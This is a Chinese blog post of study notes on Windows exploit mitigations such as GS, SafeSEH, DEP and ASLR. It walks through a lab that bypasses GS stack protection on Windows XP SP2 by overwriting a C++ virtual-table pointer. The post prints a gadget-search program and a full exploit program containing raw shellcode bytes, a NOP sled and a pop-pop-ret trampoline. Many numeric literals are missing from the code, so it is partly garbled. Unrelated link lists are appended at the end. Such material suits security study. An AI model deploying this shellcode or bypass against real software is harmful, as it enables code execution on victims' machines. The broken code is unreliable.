Windows 安全机制

漏洞的万源之本在于冯诺依曼设计的计算机模型没有将代码和数据进行区分——病毒、加壳脱壳、shellcode、跨站脚本攻击、SQL注入等都是因为计算机把数据和代码混淆这一天然缺陷而造成的。

Windows XP SP2 之前的系统致力于系统稳定性,忽略安全性;之后的 Windows 系统系统加入了独特的安全性设计:

1. GS 编译技术:函数返回地址之前加入了 Security Cookie,返回之前首先检测 cookie 是否正确,栈溢出难度增加。
2. 增加了对 S.E.H 的安全校验机制。
3. 堆中加入了 Heap Cookie、Safe Unlinking 等机制,原本就困难的堆溢出增加了更多限制。
4. DEP(Data Execution Protection)将数据部分标识为不可执行。
5. ASLR(Address Space Layout Randomization,加载地址随机化),对系统关键地址进行随机加载。
6. SEHOP(Structured Exception Handler Overwrite Protection,S.E.H 覆盖保护)作为安全 SEH 的补充,将 SEH 的保护提升到系统级别。

从 Vista 开始(包括 08 和 Win7)加入了安全快表、元数据加密、永久 DEP、ASLR 和 SEHOP S.E.H 链验证等技术,安全性有很大提高。

GS 安全编译保护

VS2003(VS7.0)开始,默认启用了 GS 编译选项,为每个函数调用增加了额外的数据和操作:

· 所有函数调用发生时,向栈帧内压入一个额外的随机 DWORD——“canary”,IDA 中将这个随机数标注为“Security Cookie”
· Security Cookie 位于 EBP 之前(ret addr, EBP, security cookie),系统还将在 .data 的内存区域中存放一个 Security Cookie 的副本。
· 栈帧内发生溢出时,Security Cookie 将首先被淹没,之后才是 EBP 和返回地址。
· 函数返回前,系统将执行额外的安全验证操作:Security Check:比较栈帧内和 .data 中的 Security Cookie。
· 如果安全验证显示栈帧内的 Security Cookie 被淹没,系统将进入异常处理流程,函数不会正常返回,ret 指令不会被执行。

为了减小这种额外的数据和操作带来的性能损失,编译器不会对所有函数应用 GS,以下情况不会应用 GS:

1. 函数不包含缓冲区。
2. 函数被定义为具有变量参数列表。
3. 函数使用无保护的关键字标记。
4. 函数在第一个语句中包含内嵌汇编代码。
5. 缓冲区不是 8 字节类型且大小不大于 4 个字节。

但是 VS 2005 SP1 中引入了一个新的安全标识:

#pragma strict_gs_check     // 将强制使用 GS,对不符合 GS 保护条件的函数添加 GS 保护

除了 Security Cookie 外,从 VS 2005 开始,还使用了变量重排技术:编译时根据局部变量的类型对变量在栈帧中的位置进行调整,将字符串变量移动到栈帧高地址,防止该字符串溢出时破坏其他局部变量;同时将指针参数和字符串参数复制一份副本到内存低地址,防止函数参数被破坏。

想硬碰硬地冲击 GS 机制很难成功,Security Cookie 的细节如下:

· 系统以 .data 字的第一个双字 DWORD 作为 Cookie 的种子,即原始 Cookie
· 程序每次运行时的种子都不同,种子有很强的随机性
· 栈帧初始化以后系统用 ESP 异或种子,作为当前函数的 Cookie,以此作为不同函数之间的区别
· 函数返回前,用 ESP 还原出 Cookie 种子

微软出版的 Writing Secure Code 一书中谈到 GS 选项时,做了个形象的比喻:GS 好像汽车里的安全带和气囊,事故发生时能起到很好的保障,但并不意味着可心像疯子一样飚车:

· 修改栈帧中的函数返回地址的经典攻击将被 GS 有效遏制
· 基于改写函数指针的攻击(如 C++ 虚函数)和针对异常处理的攻击,GS 机制仍然很难防御
· GS 是针对栈帧的保护机制,很难防御堆溢出攻击

利用未被保护的内存突破 GS

如前方所述,并不是所有函数都会被 GS 保护,比如当函数不包含 4 字节以上的缓冲区时,即使开启 GS 选项,函数也不被保护,这时就有了突破口。

覆盖虚函数突破 GS

GS 机制中,函数只有在返回时,才去检查 Security Cookie,在这之前是没有任何检查措施的。如果能在程序检查 Secyrity Coodie 之前支持流程,就可心实现对程序的溢出。C++ 的虚函数正好提供了这样的机会。

注意,实验环境为(第一次实验时没关闭代码优化,strcpy 变成内联函数了,还有各种不好观察……):

VM : Windows XP Pro sp2
Visual Studio
  VS 关闭代码优化:
    Project \ <project_name> Properties \ Configuration Properties \ C/C++ \ Optimization \ Optimization : Disabled(/0d)
  VS 开启 GS 保护:
    Project \ <project_name> Properties \ Configuration Properties \ C/C++ \ Code Generation \ Buffer Security Check : Yes
Project Build Version : Release

实际上 VS2008 中关键的配置除了上述两项外,还有 Optimization 中的 Enable Intrinsic Functions。如果未开启,帧栈大小为 0xCC;如果开启,strcpy 会编译成内联函数,并且栈帧更大(大小为 0xDC),多出的 16 字节栈帧(4 个 DWORD)会用来作为内联 strcpy 的临时存储,并且其中会有一个 DWORD 存储函数内 buffer 数组在栈内的地址,而这个存储的地址是原书 shellcode 执行的关键。

以下实验中,VS2008 的项目配置会很大程度地影响二进制代码,经过几次失败,最终成功实验的配置如下。

实验中要使用跳板,我修改了上次使用的跳板搜索代码如下(.c 文件):

 // file : findop.c
#include <windows.h>
#include <stdio.h> #define DLL_NAME "msvcr90.dll"
#define POP_WANT 5 //搜索 pop pop ... retn 指令时需要的 pop 的数量
#define POPS 13 //可使用的 pop 指令数量
int pop[POPS]={0x07,0x17,0x1F,0x58,0x59,0x5A,0x5B,0x5C,0x5D,0x5E,0x5F,0x8F,0x9D};//opcode of `pop [reg]` int main()
{
BYTE *ptr,op;
int flag[], position, cnt;
HINSTANCE handle = LoadLibrary(DLL_NAME);
BOOL done_flag = FALSE; if(!handle)
{
printf("Load dll error!\n");
exit();
}
ptr = (BYTE*)handle;
memset(flag, , sizeof(int) * );
for(cnt=;cnt<POPS;flag[pop[cnt++]]=);
for(position=cnt=; !done_flag; position++)
{
__try
{
#if 0 // 直接搜索特定指令序列
if(!strncmp(ptr+position,"\x5F\x5E\xC3",)) // pop pop ret
printf("OPCODE found at 0x%08X\n",(int)ptr+position);
#else // 搜索 pop pop ... retn 指令
op=(BYTE)*(ptr+position);
if(cnt==POP_WANT && op==0xC3) // 0xC3 : ret
printf("OPCODE found at 0x%X\n",(int)ptr+position-POP_WANT);
cnt = flag[op] ? cnt+ : ;
if(cnt>POP_WANT) cnt=;
#endif
}
__except()
{
printf("End Of 0x%x\n",(int)ptr+position);
done_flag=TRUE;
}
}
getche();
return ;
}

如下代码将演示如何通过 C++ 虚函数绕过 GS 保护,现在先贴代码后作分析(.cpp 文件):

 #include "string.h"
#include "stdio.h"
#include "windows.h" #define POPS 13
int pop[POPS]={0x07,0x17,0x1F,0x58,0x59,0x5A,0x5B,0x5C,0x5D,0x5E,0x5F,0x8F,0x9D};//opcode of `pop [reg]`
char opbuf[0xff]; class GSVirtual {
public:
void gsv(char *src)
{
char buf[];
strcpy(buf, src);
printf("ready to overby GS\n");
vir();
}
virtual void vir()
{
printf("in virtual function.\n");
}
}; char *genop()
{
BYTE *ptr,op;
int flag[], position, cnt, pop_want=;
HINSTANCE handle = LoadLibrary("msvcr90.dll");
BOOL done_flag = FALSE;
if(!handle)
{
printf("load dll error!\n");
exit();
}
ptr = (BYTE*)handle;
memset(flag, , sizeof(int) * );
for(cnt=;cnt<POPS;flag[pop[cnt++]]=);
for(position=cnt=; !done_flag; position++)
{
__try
{
op=(BYTE)*(ptr+position);
if(cnt==pop_want && op==0xC3)
{ // 找到第一个符合条件的跳板时终止搜索,踏板地址在放在 cnt 中
printf("opcode found at 0x%X\n",cnt=(int)ptr+position-pop_want);
break;
}
cnt = flag[op] ? cnt+ : ;
if(cnt>pop_want) cnt=;
}
__except()
{
printf("end of 0x%08X\n",(int)ptr+position);
done_flag=TRUE;
}
}
sprintf(opbuf, "%c%c%c%c%.216s%c%c%c%c", cnt&0xff,(cnt>>)&0xff,(cnt>>)&0xff,(cnt>>)&0xff, // 将跳板地址按小端存储
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8" // 168 字节的弹窗 shellcode
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90", // 40 字节的 nop
((int)opbuf)&0xff,(((int)opbuf)>>)&0xff,(((int)opbuf)>>)&0xff,(((int)opbuf)>>)&0xff // shellcode 在堆中的地址,在堆中则地址无 0x00
);
if(!cnt)printf("suitable opcode not found!\n");
return opbuf;
} int main()
{
GSVirtual test;
test.gsv(genop());
return ;
}

上述代码的安全分析如下:类 GSVirtual 中的 gsv() 函数调用了虚函数 vir(),而 gsv() 中存在典型的缓冲区溢出漏洞(第 14 行)。如果能通过缓冲区溢出影响虚函数调用的虚表指针并设法控制 EIP,就能在调用 vir() 时控制流程。

函数 gsv() 内部的栈帧结构如下:

strcpy 执行前(左边部分):

0x0012FF6C 是 EBP 地址;0x0012FF70 是返回地址;0x0012FF74 是传入参数的地址,即 opbuf 的地址(这个是全局参数,这样就会放在堆中,地址中出现 0x00 的可能性比栈中低);0x0012FF78 是虚表地址;Security Cookie 存储在 0x0012FF68。

strcpy 执行后(中间和第三第图):

0x0012FE90 是 ESP 地址;0x0012FE90 ~ 0x0012FE9C 这 20 字节是用来供内联(Intrinsic Function)的 strcpy 用途临时存储区的,其中距离 ESP 4 字节的 0x0012FE94 存储了 buf(见代码第 13 行)的起始地址,这个是溢出的关键;0x0012FEA0 存储的是 Security Cookie 的地址;0x0012FEA4 即是 buf 数组的起始地址。

虚函数调用的过程是这样的:程序根据虚表找到虚表指针,然后从虚表指针处取出虚函数地址,并转到这个地址执行。对于上面的例子,可以增加传入 gsv() 函数的字符串参数长度,使其覆盖虚表地址,并指向 opbuf[] 也即是 shellcode。书中的示例中,传入参数的地址的最低 8 位恰好是 0x00,因此可心巧妙地用 shellcode 末尾的 \x0 来覆盖虚表的低8位,使虚表指向 opbuf[]。我用的方法省事些,直接在 genop() 函数中显示地用 opbuf[] 的地址来辅助产生 shellcode(见第 66 行)。

在我上述代码中,shellcode 是通过程序产生的(直接引用变量地址,不需要想办法来定位这些不确定的位置),本来可以直接在 shellcode 的头部(也就是虚函数地址)直接用 opbuf +  来当作虚函数地址指针,以方便地执行关键代码(程序定位了虚函数地址后,会 call 这个地址),但为了表达书中的跳板技巧,没用那么简单粗暴有效路子。

找到虚函数地址后,会有个 call 操作(返回地址压栈——将有待执行的 Security Cookie 检查等操作挂起,并将 EIP 转向虚函数)。之前有使用 jmp esp 作为跳板的例子,但在这里不能用这个方法,因为 esp 没有指向 shellcode,而是指向了 call 操作之后的返回地址。传入 gsv() 的参数并不在栈中,因此无法跳回 opbuf[] 继续执行 shellcode 了。

回到栈中观察,opbuf[] 中的内容已经复制到 buf[] 中了,buf[] 刚好在栈中,而且刚好 buf[] 的地址存储于 0x0012FE94 —— 距离 ESP 8 个字节的地方(call 操作时压入了 4 字节的返回地址),也就是说,只要在 call 操作后,执行 pop pop retn,就刚好能执行 0x0012FE94 中存储的 buf[] 中的内容:0x0012FEA4 开始的 shellcode!因此思路就出来了,只要在 shellcode 的首部存入指向 pop pop retn 的指令的地址(跳板地址),这个地址就会被当作虚函数指针被执行,执行后,EIP 会转向 buf[] 来执行 shellcode(跳板地址被解析为操作码时,不能影响 shellcode 的执行,我使用了踏板搜索见 26 - 56 行,没判断搜索到的代码会不会影响 shellcode,但运气好成功了)。

备注:

本次实验中,由于对编译环境的不正确配置,实验过程时间拉长了。

如果关闭了 Enable Intrinsic Functions,gsv() 函数中的 strcpy 将会以函数调用的形式而非内联函数的形式实现,这时栈帧结构会不一样,栈的大小会小些,可以将跳板设置成 "pop [reg], pop[reg], pop[reg], jmp esp" 序列,但在 msvcr90.dll 和 kernel32.dll 中都没有找到这个序列,暂时就放弃尝试了,毕竟实验中用到的溢出技术已经理解了。

OD: Windows Security Techniques & GS Bypassing via C++ Virtual Function的更多相关文章

  1. 微软职位内部推荐-Principal Architect for Windows Security

    微软近期Open的职位: Location: China, BeijingDivision: Operations System Group Engineering Group OverviewOSG ...

  2. Windows Security Login

    /********************************************************************************* * Windows Securit ...

  3. OD: Memory Attach Technology - Off by One, Virtual Function in C++ & Heap Spray

    Off by One 根据 Halvar Flake 在“Third Generation Exploitation”中的描述,漏洞利用技术依攻击难度从小到大分为三类: . 基础的栈溢出利用,可以利用 ...

  4. Windows Security 学习笔记

    对于Windows 在 Security 方面的学习. 纯兴趣. UNIX 的另外开一条路线学习. 话说今天查gpedit.msc的资料的时候发现 M$ 官网上怎么连个文档都没有. 后来才点了 gpe ...

  5. OD: Windows Kernel Debug

    内核调试入门 内核程序运行在内核态,因此不能像对用户态应用程序那样来调试.关于内核调试方面的知识请参考<软件调试>这本书.目前内核调试主要有以下三种方法. 一是使用硬件调试器,它通过特定的 ...

  6. OD: Windows Driver Fuzz

    内核 FUZZ 思路 内核 API  函数:是提供给 Ring3 调用,在 Ring0 完成最终功能的函数.这些函数接收 Ring3 传入的参数,如果处理参数的过程存在问题的话,很有可能成为一个内核漏 ...

  7. Neutron 理解 (9): OpenStack 是如何实现 Neutron 网络 和 Nova虚机 防火墙的 [How Nova Implements Security Group and How Neutron Implements Virtual Firewall]

    学习 Neutron 系列文章: (1)Neutron 所实现的虚拟化网络 (2)Neutron OpenvSwitch + VLAN 虚拟网络 (3)Neutron OpenvSwitch + GR ...

  8. Windows 8 – Reason 442: Failed to enable Virtual Adapter

    Cisco VPN on Windows 8.1 – Reason 442: Failed to enable Virtual Adapter https://supertekboy.com/2013 ...

  9. Linux、Windows Server Password Security Policy Strengthen

    catalog . windows Security and Protection(Logon and Authentication) . windows密码强制安全策略 . PAM(Pluggabl ...

随机推荐

  1. 用 CALayer 定制下载进度条控件

    // // RPProgressView.h // CALayer定制下载进度条控件 // // Created by RinpeChen on 16/1/2. // Copyright © 2016 ...

  2. DWZ简介及其使用

    来源:http://blog.csdn.net/t123012009065/article/details/8286826 DWZ简介:   DWZ富客户端框架(jQuery RIA framewor ...

  3. PHP中的定界符格式

    <?php //nowdoc(单引号定界符) //ABC可以是任合内容,放在单引号中 $c=<<<'ABC' 这里可以是任合内容 我是历的苛夺基 本原则叶落归根在运 输费艰难田 ...

  4. windows核心编程-信号量(semaphore)

    线程同步的方式主要有:临界区.互斥区.事件.信号量四种方式. 前边讲过了互斥器线程同步-----windows核心编程-互斥器(Mutexes),这章我来介绍一下信号量(semaphore)线程同步. ...

  5. jquery mobile 复选框和单选框

    checkbox 和radio <!DOCTYPE html> <html> <head> <meta charset="utf-8"&g ...

  6. java虚拟机内存分析

    1.大致来说java虚拟机分为:堆  栈 栈在数据结构就是那个先进后出的栈.堆...这名字我一听就觉得大..毕竟我们形容东西多又没什么大多的组织的时候就是一堆一堆的....(原谅我发散性的思维,我是妹 ...

  7. 函数式编程做用户登陆注册练习-pycharm上

    def login(username,password): """ 用户登陆 :param username: 用户名 :param password:密码 :retur ...

  8. range与xrange

    range与xrange的用法是完全相同的,不同的是返回结果不同:range返回的是一个list,而xrange返回的是一个生成器.可以来看下 print type(range(5)) print t ...

  9. mac 常用的开发工具

    http://www.oschina.net/news/53946/mac-dev-tools 要清楚的认识到,我们寻找的不是开始按钮,而是程序入口,任何一个操作系统,用户要做的事情并不是找到开始菜单 ...

  10. spark1.1.0源码阅读-taskScheduler

    1. sparkContext中设置createTaskScheduler case "yarn-standalone" | "yarn-cluster" =& ...